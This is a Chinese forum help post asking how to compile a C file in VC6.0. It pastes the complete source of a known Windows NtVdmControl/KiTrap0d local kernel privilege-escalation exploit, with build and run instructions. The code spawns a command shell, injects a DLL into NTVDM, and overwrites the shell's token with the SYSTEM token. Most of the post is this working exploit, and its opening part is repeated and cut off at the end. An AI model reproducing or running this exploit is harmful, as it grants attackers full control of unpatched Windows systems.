-
-
[求助]请教下各位``这个C语言的文件怎么VC6.0编译?
-
发表于: 2010-6-24 23:13 6979
-
widnows VDM高危漏洞源代码
01/24/2010 21:04 by cince Original
该漏洞存在于Windows系统中Windows Virtual DOS Machine (VDM)部件,而自从1993年7月份开始VDM部件就被加入到了微软的第一个32位操作系统Windows NT中,之后它一直都是Windows系统的重要组成部分,使用它你可以用户运行DOS和16位的Windows软件,所以这个漏洞会影响到Windows XP、Vista、Windows7、Server 2003以及Server 2008等主要的32位版本Windows操作系统的安全。
exploit源代码:
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
// Tested on:
// $ cmd /c ver
// Microsoft Windows [Version 5.2.3790]
//
// This file contains the exploit payload and VDM Subsystem control routines.
//
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
// Process to escalate to SYSTEM
static DWORD TargetPid;
// Pointer to fake kernel stack.
static PDWORD KernelStackPointer;
#define KernelStackSize 1024
// Enforce byte alignment by default
#pragma pack(1)
// Kernel module handle
static HMODULE KernelHandle;
// Eflags macros
#define EFLAGS_CF_MASK 0x00000001 // carry flag
#define EFLAGS_PF_MASK 0x00000004 // parity flag
#define EFLAGS_AF_MASK 0x00000010 // auxiliary carry flag
#define EFLAGS_ZF_MASK 0x00000040 // zero flag
#define EFLAGS_SF_MASK 0x00000080 // sign flag
#define EFLAGS_TF_MASK 0x00000100 // trap flag
#define EFLAGS_IF_MASK 0x00000200 // interrupt flag
#define EFLAGS_DF_MASK 0x00000400 // direction flag
#define EFLAGS_OF_MASK 0x00000800 // overflow flag
#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
#define EFLAGS_NT_MASK 0x00004000 // nested task
#define EFLAGS_RF_MASK 0x00010000 // resume flag
#define EFLAGS_VM_MASK 0x00020000 // virtual 8086 mode
#define EFLAGS_AC_MASK 0x00040000 // alignment check
#define EFLAGS_VIF_MASK 0x00080000 // virtual interrupt flag
#define EFLAGS_VIP_MASK 0x00100000 // virtual interrupt pending
#define EFLAGS_ID_MASK 0x00200000 // identification flag
#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif
// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
enum { VdmStartExecution = 0, VdmInitialize = 3 };
VOID FirstStage();
BOOL InitializeVdmSubsystem();
PVOID KernelGetProcByName(PSTR);
BOOL FindAndReplaceMember(PDWORD, DWORD, DWORD, DWORD, BOOL);
// This routine is where I land after successfully triggering the vulnerability.
VOID FirstStage()
{
FARPROC DbgPrint;
FARPROC PsGetCurrentThread;
FARPROC PsGetCurrentThreadStackBase, PsGetCurrentThreadStackLimit;
FARPROC PsLookupProcessByProcessId;
FARPROC PsReferencePrimaryToken;
FARPROC ZwTerminateProcess;
PVOID CurrentThread;
PVOID TargetProcess, *PsInitialSystemProcess;
DWORD StackBase, StackLimit;
DWORD i;
// Keep interrupts off until I've repaired my KTHREAD.
__asm cli
// Resolve some routines I need from the kernel export directory
DbgPrint = KernelGetProcByName("DbgPrint");
PsGetCurrentThread = KernelGetProcByName("PsGetCurrentThread");
PsGetCurrentThreadStackBase = KernelGetProcByName("PsGetCurrentThreadStackBase");
PsGetCurrentThreadStackLimit = KernelGetProcByName("PsGetCurrentThreadStackLimit");
PsInitialSystemProcess = KernelGetProcByName("PsInitialSystemProcess");
PsLookupProcessByProcessId = KernelGetProcByName("PsLookupProcessByProcessId");
PsReferencePrimaryToken = KernelGetProcByName("PsReferencePrimaryToken");
ZwTerminateProcess = KernelGetProcByName("ZwTerminateProcess");
CurrentThread = (PVOID) PsGetCurrentThread();
StackLimit = (DWORD) PsGetCurrentThreadStackLimit();
StackBase = (DWORD) PsGetCurrentThreadStackBase();
DbgPrint("FirstStage() Loaded, CurrentThread @%p Stack %p - %p",
CurrentThread,
StackBase,
StackLimit);
// First I need to repair my CurrentThread, find all references to my fake kernel
// stack and repair them. Note that by "repair" I mean randomly point them
// somewhere inside the real stack.
DbgPrint("Repairing references to %p-%p in CurrentThread@%p...",
&KernelStackPointer[0],
&KernelStackPointer[KernelStackSize - 1],
CurrentThread);
// For every stack location, try to find all references to it in my
// CurrentThread.
for (i = 0; i < KernelStackSize; i++) {
// The size of this structure varies between kernels, whats the maximum
// size likely to be?
CONST DWORD MaxExpectedEthreadSize = 0x200;
// Find and repair all references to this location
while (FindAndReplaceMember((PDWORD) CurrentThread,
(DWORD) &KernelStackPointer[i],
(DWORD) StackBase - ((StackBase - StackLimit) / 2),
MaxExpectedEthreadSize,
FALSE))
;
}
// Find the EPROCESS structure for the process I want to escalate
if (PsLookupProcessByProcessId(TargetPid, &TargetProcess) == STATUS_SUCCESS) {
PACCESS_TOKEN SystemToken;
PACCESS_TOKEN TargetToken;
// What's the maximum size the EPROCESS structure is ever likely to be?
CONST DWORD MaxExpectedEprocessSize = 0x200;
DbgPrint("PsLookupProcessByProcessId(%u) => %p", TargetPid, TargetProcess);
DbgPrint("PsInitialSystemProcess @%p", *PsInitialSystemProcess);
// Find the Token object for my target process, and the SYSTEM process.
TargetToken = (PACCESS_TOKEN) PsReferencePrimaryToken(TargetProcess);
SystemToken = (PACCESS_TOKEN) PsReferencePrimaryToken(*PsInitialSystemProcess);
DbgPrint("PsReferencePrimaryToken(%p) => %p", TargetProcess, TargetToken);
DbgPrint("PsReferencePrimaryToken(%p) => %p", *PsInitialSystemProcess, SystemToken);
// Find the token in the target process, and replace with the system token.
FindAndReplaceMember((PDWORD) TargetProcess,
(DWORD) TargetToken,
(DWORD) SystemToken,
MaxExpectedEprocessSize,
TRUE);
// Success, try to terminate the current process.
ZwTerminateProcess(GetCurrentProcess(), 'w00t');
} else {
// Maybe the user closed the window?
DbgPrint("PsLookupProcessByProcessId(%u) Failed", TargetPid);
// Report this failure
ZwTerminateProcess(GetCurrentProcess(), 'LPID');
}
// Oops, Something went wrong, restore interrupts and spin here.
__asm sti
for (;;) __asm pause
}
// Search the specified data structure for a member with CurrentValue.
BOOL FindAndReplaceMember(PDWORD Structure,
DWORD CurrentValue,
DWORD NewValue,
DWORD MaxSize,
BOOL ObjectRefs)
{
DWORD i, Mask;
// Microsoft QWORD aligns object pointers, then uses the lower three
// bits for quick reference counting (nice trick).
Mask = ObjectRefs ? ~7 : ~0;
// Mask out the reference count.
CurrentValue &= Mask;
// Scan the structure for any occurrence of CurrentValue.
for (i = 0; i < MaxSize; i++) {
if ((Structure[i] & Mask) == CurrentValue) {
// And finally, replace it with NewValue.
Structure[i] = NewValue;
return TRUE;
}
}
// Member not found.
return FALSE;
}
// Find an exported kernel symbol by name.
PVOID KernelGetProcByName(PSTR SymbolName)
{
PUCHAR ImageBase;
PULONG NameTable;
PULONG FunctionTable;
PUSHORT OrdinalTable;
PIMAGE_EXPORT_DIRECTORY ExportDirectory;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS PeHeader;
DWORD i;
ImageBase = (PUCHAR) KernelHandle;
DosHeader = (PIMAGE_DOS_HEADER) ImageBase;
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
ExportDirectory = (PIMAGE_EXPORT_DIRECTORY)(ImageBase
+ PeHeader->OptionalHeader
. DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]
. VirtualAddress);
// Find required tablesa from the ExportDirectory.
NameTable = (PULONG)(ImageBase + ExportDirectory->AddressOfNames);
FunctionTable = (PULONG)(ImageBase + ExportDirectory->AddressOfFunctions);
OrdinalTable = (PUSHORT)(ImageBase + ExportDirectory->AddressOfNameOrdinals);
// Scan each entry for a matching name.
for (i = 0; i < ExportDirectory->NumberOfNames; i++) {
PCHAR Symbol = ImageBase + NameTable[i];
if (strcmp(Symbol, SymbolName) == 0) {
// Symbol found, return the appropriate entry from FunctionTable.
return (PVOID)(ImageBase + FunctionTable[OrdinalTable[i]]);
}
}
// Symbol not found, this is likely fatal :-(
return NULL;
}
// Exploit entrypoint.
BOOL APIENTRY DllMain(HMODULE Module, DWORD Reason, LPVOID Reserved)
{
CONST DWORD MinimumExpectedVdmTibSize = 0x400;
CONST DWORD MaximumExpectedVdmTibSize = 0x800;
FARPROC NtVdmControl;
DWORD KernelStack[KernelStackSize];
DWORD Ki386BiosCallReturnAddress;
CHAR Pid[32], Off[32], Krn[32];
struct {
ULONG Size;
PVOID Padding0;
PVOID Padding1;
CONTEXT Padding2;
CONTEXT VdmContext;
DWORD Padding3[1024];
} VdmTib = {0};
// Initialise these structures with recognisable constants to ease debugging.
FillMemory(&VdmTib, sizeof VdmTib, 'V');
FillMemory(&KernelStack, sizeof KernelStack, 'K');
// Parent passes parameters via environment variables.
//
// - VDM_TARGET_PID
// Pid of the process to transplant a SYSTEM token onto.
// - VDM_TARGET_OFF
// Offset from ntoskrnl of Ki386BiosCallReturnAddress.
// - VDM_TARGET_KRN
// Ntoskrnl base address.
GetEnvironmentVariable("VDM_TARGET_PID", Pid, sizeof Pid);
GetEnvironmentVariable("VDM_TARGET_KRN", Krn, sizeof Krn);
GetEnvironmentVariable("VDM_TARGET_OFF", Off, sizeof Off);
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
TargetPid = strtoul(Pid, NULL, 0);
// Setup the fake kernel stack, and install a minimal VDM_TIB,
KernelStackPointer = KernelStack;
KernelStack[0] = (DWORD) &KernelStack[8]; // Esp
KernelStack[1] = (DWORD) NtCurrentTeb(); // Teb
KernelStack[2] = (DWORD) NtCurrentTeb(); // Teb
KernelStack[7] = (DWORD) FirstStage; // RetAddr
KernelHandle = (HMODULE) strtoul(Krn, NULL, 0);
VdmTib.Size = MinimumExpectedVdmTibSize;
*NtCurrentTeb()->Reserved4 = &VdmTib;
// Initialize the VDM Subsystem.
InitializeVdmSubsystem();
VdmTib.Size = MinimumExpectedVdmTibSize;
VdmTib.VdmContext.SegCs = 0x0B;
VdmTib.VdmContext.Esi = (DWORD) &KernelStack;
VdmTib.VdmContext.Eip = strtoul(Krn, NULL, 0) + strtoul(Off, NULL, 0);
VdmTib.VdmContext.EFlags = EFLAGS_TF_MASK;
*NtCurrentTeb()->Reserved4 = &VdmTib;
// Trigger the vulnerable code via NtVdmControl().
while (VdmTib.Size++ < MaximumExpectedVdmTibSize)
NtVdmControl(VdmStartExecution, NULL);
// Unable to find correct VdmTib size.
ExitThread('VTIB');
}
// Setup a minimal execution environment to satisfy NtVdmControl().
BOOL InitializeVdmSubsystem()
{
FARPROC NtAllocateVirtualMemory;
FARPROC NtFreeVirtualMemory;
FARPROC NtVdmControl;
PBYTE BaseAddress;
ULONG RegionSize;
static DWORD TrapHandler[128];
static DWORD IcaUserData[128];
static struct {
PVOID TrapHandler;
PVOID IcaUserData;
} InitData;
NtAllocateVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtAllocateVirtualMemory");
NtFreeVirtualMemory = GetProcAddress(GetModuleHandle("NTDLL"), "NtFreeVirtualMemory");
NtVdmControl = GetProcAddress(GetModuleHandle("NTDLL"), "NtVdmControl");
BaseAddress = (PVOID) 0x00000001;
RegionSize = (ULONG) 0x00000000;
InitData.TrapHandler = TrapHandler;
InitData.IcaUserData = IcaUserData;
// Remove anything currently mapped at NULL
NtFreeVirtualMemory(GetCurrentProcess(), &BaseAddress, &RegionSize, MEM_RELEASE);
BaseAddress = (PVOID) 0x00000001;
RegionSize = (ULONG) 0x00100000;
// Allocate the 1MB virtual 8086 address space.
if (NtAllocateVirtualMemory(GetCurrentProcess(),
&BaseAddress,
0,
&RegionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE) != STATUS_SUCCESS) {
ExitThread('NTAV');
return FALSE;
}
// Finalise the initialisation.
if (NtVdmControl(VdmInitialize, &InitData) != STATUS_SUCCESS) {
ExitThread('VDMC');
return FALSE;
}
return TRUE;
}
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
// INTRODUCTION
//
// I'm not usually interested in Windows exploits (I'm a UNIX guy), but this
// bug was so unusual I felt it deserved some special attention :-)
//
// I believe every single release of Windows NT since version 3.1 (1993) up to
// and including Windows 7 (2009) contain this error.
//
// KNOWN BUGS
//
// * If KernelGetProcByName() ever fails, I'm probably in trouble.
// * I hardcode several paths instead of expanding %SYSTEMROOT%.
// * I probably need to VirtualLock() some stuff.
// * I suspect this is unreliable on mp kernels.
//
// INSTRUCTIONS
//
// C:\> nmake
// C:\> vdmallowed.exe
//
// WORKAROUND
//
// Disabling the MSDOS and WOWEXEC subsystems will prevent the exploit
// from functioning.
//
// http://support.microsoft.com/kb/220159
//
// GREETZ
//
// Julien, Lcamtuf, Spoonm, Neel, Skylined, Redpig, and others.
//
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#include <stdarg.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
#pragma comment(lib, "advapi32")
#define PAGE_SIZE 0x1000
enum { SystemModuleInformation = 11 };
typedef struct {
ULONG Unknown1;
ULONG Unknown2;
PVOID Base;
ULONG Size;
ULONG Flags;
USHORT Index;
USHORT NameLength;
USHORT LoadCount;
USHORT PathLength;
CHAR ImageName[256];
} SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY;
typedef struct {
ULONG Count;
SYSTEM_MODULE_INFORMATION_ENTRY Module[1];
} SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;
// These are generated using kd -kl -c 'db nt!Ki386BiosCallReturnAddress;q'
static CONST UCHAR CodeSignatures[][16] = {
{ "\x64\xA1\x1C\x00\x00\x00\x5A\x89\x50\x04\x8B\x88\x24\x01\x00\x00" }, // Windows NT4
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows 2000
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x70\x04\xB9\x84" }, // Windows XP
{ "\xA1\x1C\xF0\xDF\xFF\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00\x00" }, // Windows 2003
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows Vista
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 2008
{ "\x64\xA1\x1C\x00\x00\x00\x8B\x7D\x58\x8B\x3F\x8B\x88\x24\x01\x00" }, // Windows 7
};
// Log levels.
typedef enum { L_DEBUG, L_INFO, L_WARN, L_ERROR } LEVEL, *PLEVEL;
BOOL PrepareProcessForSystemToken(PCHAR Application, PDWORD ProcessId);
BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR Application, PHANDLE ProcessHandle);
BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread);
BOOL LogMessage(LEVEL Level, PCHAR Format, ...);
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase);
int main(int argc, char **argv)
{
HANDLE VdmHandle;
HANDLE RemoteThread;
DWORD ShellPid;
DWORD ThreadCode;
DWORD KernelBase;
CHAR Buf[32];
DWORD Offset;
LogMessage(L_INFO,
"\r"
"--------------------------------------------------\n"
"Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit\n"
"-------------------------------------------- taviso@sdf.lonestar.org ---\n"
"\n"
);
// Spawn the process to be elevated to SYSTEM.
LogMessage(L_INFO, "Spawning a shell to give SYSTEM token (do not close it)");
if (PrepareProcessForSystemToken("C:\\WINDOWS\\SYSTEM32\\CMD.EXE", &ShellPid) != TRUE) {
LogMessage(L_ERROR, "PrepareProcessForSystemToken() returned failure");
goto finished;
}
// Scan kernel image for the required code sequence, and find the base address.
if (ScanForCodeSignature(&KernelBase, &Offset) == FALSE) {
LogMessage(L_ERROR, "ScanForCodeSignature() returned failure");
goto finished;
}
// Pass the parameters required by exploit thread to NTVDM.
SetEnvironmentVariable("VDM_TARGET_PID", (sprintf(Buf, "%#x", ShellPid), Buf));
SetEnvironmentVariable("VDM_TARGET_KRN", (sprintf(Buf, "%#x", KernelBase), Buf));
SetEnvironmentVariable("VDM_TARGET_OFF", (sprintf(Buf, "%#x", Offset), Buf));
// Invoke the NTVDM subsystem, by launching any MS-DOS executable.
LogMessage(L_INFO, "Starting the NTVDM subsystem by launching MS-DOS executable");
if (SpawnNTVDMAndGetUsefulAccess("C:\\WINDOWS\\SYSTEM32\\DEBUG.EXE", &VdmHandle) == FALSE) {
LogMessage(L_ERROR, "SpawnNTVDMAndGetUsefulAccess() returned failure");
goto finished;
}
// Start the exploit thread in the NTVDM process.
LogMessage(L_DEBUG, "Injecting the exploit thread into NTVDM subsystem @%#x", VdmHandle);
if (InjectDLLIntoProcess("VDMEXPLOIT.DLL", VdmHandle, &RemoteThread) == FALSE) {
LogMessage(L_ERROR, "InjectDLLIntoProcess() returned failure");
goto finished;
}
// Wait for the thread to complete
LogMessage(L_DEBUG, "WaitForSingleObject(%#x, INFINITE);", RemoteThread);
WaitForSingleObject(RemoteThread, INFINITE);
// I pass some information back via the exit code to indicate what happened.
GetExitCodeThread(RemoteThread, &ThreadCode);
LogMessage(L_DEBUG, "GetExitCodeThread(%#x, %p); => %#x", RemoteThread, &ThreadCode, ThreadCode);
switch (ThreadCode) {
case 'VTIB':
// A data structure supplied to the kernel called VDM_TIB has to have a `size` field that
// matches what the kernel expects.
// Try running `kd -kl -c 'uf nt!VdmpGetVdmTib;q'` and looking for the size comparison.
LogMessage(L_ERROR, "The exploit thread was unable to find the size of the VDM_TIB structure");
break;
case 'NTAV':
// NtAllocateVirtualMemory() can usually be used to map the NULL page, which NtVdmControl()
// expects to be present.
// The exploit thread reports it didn't work.
LogMessage(L_ERROR, "The exploit thread was unable to map the virtual 8086 address space");
break;
case 'VDMC':
// NtVdmControl() must be initialised before you can begin vm86 execution, but it failed.
// It's entirely undocumented, so you'll have to use kd to step through it and find out why
// it's failing.
LogMessage(L_ERROR, "The exploit thread reports NtVdmControl() failed");
break;
case 'LPID':
// This exploit will try to transplant the token from PsInitialSystemProcess on to an
// unprivileged process owned by you.
// PsLookupProcessByProcessId() failed when trying to find your process.
LogMessage(L_ERROR, "The exploit thread reports that PsLookupProcessByProcessId() failed");
break;
case FALSE:
// This probably means LoadLibrary() failed, perhaps the exploit dll could not be found?
// Verify the vdmexploit.dll file exists, is readable and is in a suitable location.
LogMessage(L_ERROR, "The exploit thread was unable to load the injected dll");
break;
case 'w00t':
// This means the exploit payload was executed at ring0 and succeeded.
LogMessage(L_INFO, "The exploit thread reports exploitation was successful");
LogMessage(L_INFO, "w00t! You can now use the shell opened earlier");
break;
default:
// Unknown error. Sorry, you're on your own.
LogMessage(L_ERROR, "The exploit thread returned an unexpected error, %#x", ThreadCode);
break;
}
TerminateProcess(VdmHandle, 0);
CloseHandle(VdmHandle);
CloseHandle(RemoteThread);
finished:
LogMessage(L_INFO, "Press any key to exit...");
getch();
return 0;
}
// Start a process to give SYSTEM token to.
static BOOL PrepareProcessForSystemToken(PCHAR App, PDWORD ProcessId)
{
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = { sizeof si };
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == FALSE) {
LogMessage(L_ERROR, "CreateProcess(\"%s\") returned failure, %#x", App, GetLastError());
return FALSE;
}
LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);
*ProcessId = pi.dwProcessId;
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
// Grab a useful Handle to NTVDM.
static BOOL SpawnNTVDMAndGetUsefulAccess(PCHAR App, PHANDLE ProcessHandle)
{
PROCESS_INFORMATION pi = {0};
STARTUPINFO si = { sizeof si };
ULONG i;
// Start the child process, which should invoke NTVDM.
if (CreateProcess(App, App, NULL, NULL, 0, CREATE_SUSPENDED, NULL, NULL, &si, &pi) == FALSE) {
LogMessage(L_ERROR, "CreateProcess(\"%s\") failed, %#x", App, GetLastError());
return FALSE;
}
LogMessage(L_DEBUG, "CreateProcess(\"%s\") => %u", App, pi.dwProcessId);
// Get more access
if ((*ProcessHandle = OpenProcess(PROCESS_CREATE_THREAD
| PROCESS_QUERY_INFORMATION
| PROCESS_VM_OPERATION
| PROCESS_VM_WRITE
| PROCESS_VM_READ
| PROCESS_TERMINATE,
FALSE,
pi.dwProcessId)) == NULL) {
LogMessage(L_ERROR, "OpenProcess(%u) failed, %#x", pi.dwProcessId, GetLastError());
TerminateProcess(pi.hProcess, 'SPWN');
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return FALSE;
}
LogMessage(L_DEBUG, "OpenProcess(%u) => %#x", pi.dwProcessId, *ProcessHandle);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
return TRUE;
}
// Use the DLL Injection technique to access the NTVDM process.
// http://en.wikipedia.org/wiki/DLL_injection
static BOOL InjectDLLIntoProcess(PCHAR DllPath, HANDLE ProcessHandle, PHANDLE RemoteThread)
{
PVOID RemotePage;
LPTHREAD_START_ROUTINE StartRoutine;
assert(ProcessHandle != INVALID_HANDLE_VALUE);
assert(DllPath);
assert(RemoteThread);
// Allocate a page in the child process
if ((RemotePage = VirtualAllocEx(ProcessHandle, NULL, strlen(DllPath) + 1, MEM_COMMIT, PAGE_READWRITE)) == NULL) {
LogMessage(L_ERROR, "VirtualAllocEx() returned failure, %#x", GetLastError());
return FALSE;
}
// Write in the name of my DLL (note, memory is already zeroed)
if (WriteProcessMemory(ProcessHandle, RemotePage, DllPath, strlen(DllPath), NULL) == FALSE) {
LogMessage(L_ERROR, "WriteProcessMemory(%p) returned failure, %#x", RemotePage, GetLastError());
return FALSE;
}
LogMessage(L_DEBUG, "WriteProcessMemory(%#x, %#x, \"%s\", %u);",
ProcessHandle,
RemotePage,
DllPath,
strlen(DllPath));
// Execute it in child process, loading the specified library
*RemoteThread = CreateRemoteThread(ProcessHandle,
NULL,
0,
(LPTHREAD_START_ROUTINE)
GetProcAddress(GetModuleHandle("KERNEL32.DLL"), "LoadLibraryA"),
RemotePage,
0,
NULL);
return *RemoteThread != NULL;
}
// Scan the appropriate kernel image for the correct offset
BOOL ScanForCodeSignature(PDWORD KernelBase, PDWORD OffsetFromBase)
{
FARPROC NtQuerySystemInformation;
HMODULE KernelHandle;
PIMAGE_DOS_HEADER DosHeader;
PIMAGE_NT_HEADERS PeHeader;
PIMAGE_OPTIONAL_HEADER OptHeader;
OSVERSIONINFO osvi = { sizeof osvi };
PBYTE ImageBase;
DWORD PhysicalAddressExtensions, DataSize;
ULONG i;
HKEY MmHandle;
SYSTEM_MODULE_INFORMATION ModuleInfo = {0};
// List of versions I have code signatures for.
enum {
MICROSOFT_WINDOWS_NT4 = 0,
MICROSOFT_WINDOWS_2000 = 1,
MICROSOFT_WINDOWS_XP = 2,
MICROSOFT_WINDOWS_2003 = 3,
MICROSOFT_WINDOWS_VISTA = 4,
MICROSOFT_WINDOWS_2008 = 5,
MICROSOFT_WINDOWS_7 = 6,
} Version = MICROSOFT_WINDOWS_7;
// NtQuerySystemInformation can be used to find kernel base address
NtQuerySystemInformation = GetProcAddress(GetModuleHandle("NTDLL"), "NtQuerySystemInformation");
// Determine kernel version so that the correct code signature is used
GetVersionEx(&osvi);
LogMessage(L_DEBUG, "GetVersionEx() => %u.%u", osvi.dwMajorVersion, osvi.dwMinorVersion);
if (osvi.dwMajorVersion == 4 && osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_NT4;
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_2000;
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 1)
Version = MICROSOFT_WINDOWS_XP;
if (osvi.dwMajorVersion == 5 && osvi.dwMinorVersion == 2)
Version = MICROSOFT_WINDOWS_2003;
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_VISTA;
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 0)
Version = MICROSOFT_WINDOWS_2008;
if (osvi.dwMajorVersion == 6 && osvi.dwMinorVersion == 1)
Version = MICROSOFT_WINDOWS_7;
// Learn the loaded kernel (e.g. NTKRNLPA vs NTOSKRNL), and it's base address
NtQuerySystemInformation(SystemModuleInformation, &ModuleInfo, sizeof ModuleInfo, NULL);
LogMessage(L_DEBUG, "NtQuerySystemInformation() => %s@%p",
ModuleInfo.Module[0].ImageName,
ModuleInfo.Module[0].Base);
// Load the kernel image specified
if ((KernelHandle = LoadLibrary(strrchr(ModuleInfo.Module[0].ImageName, '\\') + 1)) == NULL) {
LogMessage(L_ERROR, "LoadLibrary() returned failure, %#x", GetLastError());
return FALSE;
}
// Parse image headers
*KernelBase = (DWORD) ModuleInfo.Module[0].Base;
ImageBase = (PBYTE) KernelHandle;
DosHeader = (PIMAGE_DOS_HEADER)(ImageBase);
PeHeader = (PIMAGE_NT_HEADERS)(ImageBase + DosHeader->e_lfanew);
OptHeader = &PeHeader->OptionalHeader;
LogMessage(L_DEBUG, "Searching for kernel %u.%u signature { %02hhx, %02hhx, ... } ...",
osvi.dwMajorVersion,
osvi.dwMinorVersion,
CodeSignatures[Version][0],
CodeSignatures[Version][1]);
// Scan for the appropriate signature
for (i = OptHeader->BaseOfCode; i < OptHeader->SizeOfCode; i++) {
if (memcmp(&ImageBase[i], CodeSignatures[Version], sizeof CodeSignatures[Version]) == 0) {
LogMessage(L_INFO, "Signature found %#x bytes from kernel base", i);
*OffsetFromBase = i;
FreeLibrary(KernelHandle);
return TRUE;
}
}
LogMessage(L_ERROR, "Code not found, the signatures need to be updated for your kernel");
FreeLibrary(KernelHandle);
return FALSE;
}
// A quick logging routine for debug messages.
BOOL LogMessage(LEVEL Level, PCHAR Format, ...)
{
CHAR Buffer[1024] = {0};
va_list Args;
va_start(Args, Format);
vsnprintf_s(Buffer, sizeof Buffer, _TRUNCATE, Format, Args);
va_end(Args);
switch (Level) {
case L_DEBUG: fprintf(stdout, "[?] %s\n", Buffer); break;
case L_INFO: fprintf(stdout, "[+] %s\n", Buffer); break;
case L_WARN: fprintf(stderr, " %s\n", Buffer); break;
case L_ERROR: fprintf(stderr, "[!] %s\n\a", Buffer); break;
}
fflush(stdout);
fflush(stderr);
return TRUE;
}
01/24/2010 21:04 by cince Original
该漏洞存在于Windows系统中Windows Virtual DOS Machine (VDM)部件,而自从1993年7月份开始VDM部件就被加入到了微软的第一个32位操作系统Windows NT中,之后它一直都是Windows系统的重要组成部分,使用它你可以用户运行DOS和16位的Windows软件,所以这个漏洞会影响到Windows XP、Vista、Windows7、Server 2003以及Server 2008等主要的32位版本Windows操作系统的安全。
exploit源代码:
//
// --------------------------------------------------
// Windows NT/2K/XP/2K3/VISTA/2K8/7 NtVdmControl()->KiTrap0d local ring0 exploit
// -------------------------------------------- taviso@sdf.lonestar.org ---
//
// Tavis Ormandy, June 2009.
//
// Tested on:
// $ cmd /c ver
// Microsoft Windows [Version 5.2.3790]
//
// This file contains the exploit payload and VDM Subsystem control routines.
//
#ifndef WIN32_NO_STATUS
# define WIN32_NO_STATUS // I prefer the definitions from ntstatus.h
#endif
#include <windows.h>
#include <assert.h>
#include <stdio.h>
#include <winerror.h>
#include <winternl.h>
#include <stddef.h>
#ifdef WIN32_NO_STATUS
# undef WIN32_NO_STATUS
#endif
#include <ntstatus.h>
// Process to escalate to SYSTEM
static DWORD TargetPid;
// Pointer to fake kernel stack.
static PDWORD KernelStackPointer;
#define KernelStackSize 1024
// Enforce byte alignment by default
#pragma pack(1)
// Kernel module handle
static HMODULE KernelHandle;
// Eflags macros
#define EFLAGS_CF_MASK 0x00000001 // carry flag
#define EFLAGS_PF_MASK 0x00000004 // parity flag
#define EFLAGS_AF_MASK 0x00000010 // auxiliary carry flag
#define EFLAGS_ZF_MASK 0x00000040 // zero flag
#define EFLAGS_SF_MASK 0x00000080 // sign flag
#define EFLAGS_TF_MASK 0x00000100 // trap flag
#define EFLAGS_IF_MASK 0x00000200 // interrupt flag
#define EFLAGS_DF_MASK 0x00000400 // direction flag
#define EFLAGS_OF_MASK 0x00000800 // overflow flag
#define EFLAGS_IOPL_MASK 0x00003000 // I/O privilege level
#define EFLAGS_NT_MASK 0x00004000 // nested task
#define EFLAGS_RF_MASK 0x00010000 // resume flag
#define EFLAGS_VM_MASK 0x00020000 // virtual 8086 mode
#define EFLAGS_AC_MASK 0x00040000 // alignment check
#define EFLAGS_VIF_MASK 0x00080000 // virtual interrupt flag
#define EFLAGS_VIP_MASK 0x00100000 // virtual interrupt pending
#define EFLAGS_ID_MASK 0x00200000 // identification flag
#ifndef PAGE_SIZE
# define PAGE_SIZE 0x1000
#endif
// http://svn.reactos.org/reactos/trunk/reactos/include/ndk/ketypes.h
